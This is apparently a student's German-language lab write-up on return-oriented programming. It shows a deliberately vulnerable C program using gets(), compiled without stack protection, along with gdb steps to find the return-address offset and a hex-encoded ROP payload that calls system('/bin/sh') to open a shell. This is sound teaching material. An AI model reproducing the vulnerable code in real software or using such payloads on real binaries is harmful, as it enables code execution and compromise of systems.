### Malwareanalyse und Reverseengineering: Praktikumsaufgabe 4

### 4.1 Return-Oriented Programming

## 1, Simples Programm mit "problematischer" Input-Funktion:

```
#include <stdio.h>
void main(){
          char buffer[8];
          gets(buffer);
          puts(buffer);
}
```

# 2, Übersetzung des Programms ohne "stackprotector" u. mit Debug-Symbolen:

Durch folgendes Kommando:

• gcc -g -fno-stack-protector -o rop.o rop.c

# 3, Überprüfen eines Overflows u. Finden des Offsets zur Return-Adr.:

- echo "AAAAAAABBBBBBBBCCCCCCC" | ./rop.o
  - Speicherzugriffsfehler (Speicherabzug geschrieben) -> Overflow.
- gdb ./rop.o
- run "AAAAAAAABBBBBBBCCCCCCCC"
   -> SIGSEGV, 0x0000000100000000
- run "AAAAAAABBBBBBBCCCCCCCDD"
   -> SIGSEGV, 0x00007fffff004444
- run "AAAAAAABBBBBBBCCCCCCCDDDD" -> SIGSEGV, 0x00007f0044444444
  - Ergo 24 Bytes Offset von Buffer-Anfang bis Return-Beginn.

## 4, Starten Sie Ihr Programm mit dem Debugger gdb, (versch. Aufgaben):

#### 5, Testen des Exploits: "steam locomotive"

Kurze Erläuterung: Nach 24 Bytes Offset wird die Rücksprung-Adresse der main-Funktion mit der Adresse des Ropgadgets überschrieben. Anstatt das Programm nun an die eigentliche Adresse zurückspringt, wird stattdessen der erste Befehl: "pop" des Rop-Gadgets ausgeführt, der den Inhalt der nächsten Adresse vom Stack nimmt und in das Register rdi schiebt. Der Inhalt der nächsten Adresse ist in diesem Fall der String: "sl", und wird in das Register rdi geschoben. Danach wird der zweite Rop-Gadget Befehl: "return" ausgeführt. Das Programm springt nun an die nächste Adresse. Diese beinhaltet die libc Funktion: system(rdi).

#### 6, Aufruf einer Shell

echo -e "echo -e "AAAAAAABBBBBBBBCCCCCCCC \x03\x06\x40\x00\x00\x00\x00\x00 \x03\x01\x1b\xff\xff\x7f\x00\x00 \x90\x65\x07\xff\xff\x7f\x00\x00" > buffer\_file"

cat buffer\_file - | ./rop.o

(Rop-Gadget: "pop, ret") (String: "/bin/sh") (Funktion: "system()")